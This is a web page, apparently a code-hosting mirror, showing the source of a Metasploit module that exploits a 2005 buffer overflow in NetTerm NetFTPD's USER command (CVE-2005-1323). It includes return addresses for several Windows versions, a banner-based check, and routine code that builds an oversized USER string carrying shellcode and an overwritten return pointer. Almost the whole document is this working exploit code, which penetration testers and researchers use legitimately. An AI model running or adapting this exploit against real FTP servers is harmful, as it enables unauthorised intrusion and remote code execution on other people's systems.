Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/netterm_netftpd_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'NetTerm NetFTPD USER Buffer Overflow',13'Description' => %q{14This module exploits a vulnerability in the NetTerm NetFTPD15application. This package is part of the NetTerm package.16This module uses the USER command to trigger the overflow.17},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2005-1323'],23[ 'OSVDB', '15865'],24[ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],25[ 'BID', '13396'],26],27'Privileged' => false,28'Payload' =>29{30'Space' => 1000,31'BadChars' => "\x00\x0a\x20\x0d",32'StackAdjustment' => -3500,33},34'Platform' => [ 'win' ],35'Targets' =>36[37[38'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/200539{40'Ret' => 0x0040df98, # netftpd.exe (multiple versions)41},42],43[44'Windows 2000 English',45{46'Ret' => 0x75022ac4, # ws2help.dll47},48],49[50'Windows XP English SP0/SP1',51{52'Ret' => 0x71aa32ad, # ws2help.dll53},54],55[56'Windows 2003 English',57{58'Ret' => 0x7ffc0638, # peb magic :-)59},60],61[62'Windows NT 4.0 SP4/SP5/SP6',63{64'Ret' => 0x77681799, # ws2help.dll65},66],67],68'DisclosureDate' => '2005-04-26',69'DefaultTarget' => 0))70end7172def check73connect74disconnect75if (banner =~ /NetTerm FTP server/)76return Exploit::CheckCode::Detected77end78return Exploit::CheckCode::Safe79end8081def exploit82connect8384print_status("Trying target #{target.name}...")8586# U push ebp87# S push ebx88# E inc ebp89# R push edx90# \x20\xC0 and al, al9192buf = rand_text_english(8192, payload_badchars)93buf[0, 1] = "\xc0"94buf[1, payload.encoded.length] = payload.encoded95buf[1014, 4] = [ target.ret ].pack('V')9697send_cmd( ["USER #{buf}"] )98send_cmd( ['HELP'] )99100handler101disconnect102end103end104105106